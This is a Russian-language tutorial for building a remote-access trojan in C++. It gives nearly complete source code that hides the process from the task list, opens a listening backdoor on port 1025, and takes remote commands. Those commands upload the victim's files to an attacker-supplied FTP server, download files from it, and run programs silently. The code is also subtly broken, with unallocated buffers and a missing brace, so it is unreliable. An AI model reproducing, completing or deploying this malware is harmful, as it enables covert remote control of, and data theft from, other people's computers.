Сегодня мы будем создавать троян, на С++. Для компиляции нам понадобится Visual C++ 6 или 5.
Какие пимпы тыкать объяснять не буду, сам не маленький.
Скажу только что надо создать Win32 Application, a simple Win32 Application.
Теперь подумаем, что этот трой должен делать?
Для уменьшения размера оставим самые основные функции:
1. Скачивать файлы с FTP-сервера.
2. Закачивать файлы на FTP-сервер.
3. Запускать проги, двумя способами: скрытный и открытый.
Ну вот и всё, теперь приступим к кодингу.
Для начала в меню Build - Set Active Configuration - Win32 Release. Теперь тыкай в
Project - Settings - Link. Там в поле Object /library module добавь вот это:
wininet.lib wsock32.lib. Не добавишь, компилироваться не будет!
Так, самая лёгкая часть работы закончена. Теперь приступим непосредственно к кодингу.
В окне кода стери всё и напиши вот это:
#include "stdafx.h"
#include "stdio.h"
#include "winsock.h"
#include "wininet.h"
Заголовочные файлы мы подключили, теперь будем писать объявление переменных
(следи за комментариями):
/* нужно чтобы стартануть winsock*/
WSADATA wsa;
/* собственно первый сокет*/
SOCKET s;
/* переменные, в которых будут храниться временные данные */
char* temp;
char* temp2;
char* temp3;
/* заголовки WinInet сеансов */
HINTERNET inet;
HINTERNET inet2;
/* буффер для хранения поступивших команд */
char buff[1];
/* переменная, по которой мы будем определять, соединены мы с FTP сервером или нет */
bool connected;
/* сокет, через который будет идти общение с клиентом*/
SOCKET s1;
/* эти структуры необходимы для работу нескольких системных вызовов WinSocket */
SOCKADDR_IN from;
SOCKADDR_IN sin;
С переменными пока всё. Теперь будем писать основу проги, так что добавь к коду вот это:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
}
Прежде чем будем писать остальное, надо бы подумать о защите от любопытных глаз или CTRL-ALT-DEL.
Это делается функцией RegisterServiceProcess из библиотеки kernel32.dll.
Эта функция зарегистрирует нашу прогу как безобидный скринсейвер.
Добавь к коду это:
/* поключаем библиотеку */
HINSTANCE hLib = LoadLibrary("kernel32.dll");
/* объявляем прототип функции */
int (*RegisterServiceProcess)(DWORD dwProcessID, DWORD state);
/* получаем адрес этой функции */
(FARPROC &)RegisterServiceProcess = GetProcAddress(hLib, "RegisterServiceProcess");
/* и делаем вызов этой функции */
_asm{
push 0
push 1
call RegisterServiceProcess
}
Так, теперь приступим к остальному, а именно к работе с сокетами:
/* стартуем Winsock 1.1 */
WSAStartup(0x0101, &wsa);
/* инициализируем сокет */
s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/* указываем семейство протоколов */
sin.sin_family = AF_INET;
/* порт для работы */
sin.sin_port = htons(1025);
/* указываем адрес сети */
sin.sin_addr.s_addr = INADDR_ANY;
/* определяем локальный канал для связи с сетью */
bind( s, (LPSOCKADDR)&sin, sizeof(sin) );
/* слушаем порт */
listen( s, SOMAXCONN);
/* определяем размер структуры с информацией о клиенте */
int fromlen=sizeof(from);
/* принимаем клиента но уже на другой сокет */
s1 = accept(s,(struct sockaddr*)&from, &fromlen);
/* открыть сеанс работы с Инетом */
inet = InternetOpen("Yohoho FTP Trojan", INTERNET_OPEN_TYPE_DIRECT, "", "", 0);
Ну чтож, соединение мы установили, сейчас будем команды принимать:
while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
{
}
Для особо одарённых объясняю: пока клиент не отключится принимаем команды в переменную buff.
Ну а теперь собственно команды:
while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
{
/* Команда на аплоад. */
if(buff[0] == 'a'){
/* получаем имя приложения */
recv(s1, temp, 32, 0);
if(connected){
if(!FtpPutFile(inet2, temp,temp, 0,0)){
send(s1, "Upload Failed", 13, 0);
}else{
send(s1, "Upload Completed", 16, 0);
}
}else{
send(s1, "Hey! You are not connected to FTP server!", 41, 0);
}
/* Команда на скачивание */
if(buff[0] == 'b'){
/* получаем имя фала */
recv(s1,temp, 32, 0);
if(connected){
if(!FtpGetFile(inet2, temp, temp,0,true, FTP_TRANSFER_TYPE_BINARY, 0))
{
send(s1, "Download Failed", 15, 0);
}
else{
send(s1, "Download Completed", 18,0);
}
}else{
send(s1, "Hey! You are not connected to FTP server!", 41, 0);
}
}
/* Выполняем скрытно приложение (без показа окна программы) */
if(buff[0] == 'c'){
/* получаем имя приложения */
recv(s1, temp, 255, 0);
WinExec(temp, SW_HIDE);
}
/* Тоже самое, но уже с окном */
if(buff[0] == 'd'){
/* получаем имя приложения */
recv(s1, temp, 255, 0);
WinExec(temp, SW_SHOW);
}
if(buff[0] == 'e'){
/* получаем урл сервера*/
recv(s1, temp, 255,0);
/* получаем логин */
recv(s1, temp2, 32,0);
/* получаем пассворд */
recv(s1, temp3, 32,0);
/* коннектимся */
inet2 = InternetConnect(inet,temp,INTERNET_DEFAULT_FTP_PORT,
temp2,temp3,INTERNET_SERVICE_FTP, 0,0);
if(inet2){
connected = true;
}else{
send(s1, "Connect Failed",14, 0);
}
}
}
Вроде и всё.... СТОП! Вот конец проги:
closesocket(s);
closesocket(s1);
return 0;
Теперь всё! Компилируй и запускай.... Если не получается - подумай, как сделать чтобы пахало!
Клиент можно самому написать, благо архитектура простая.
|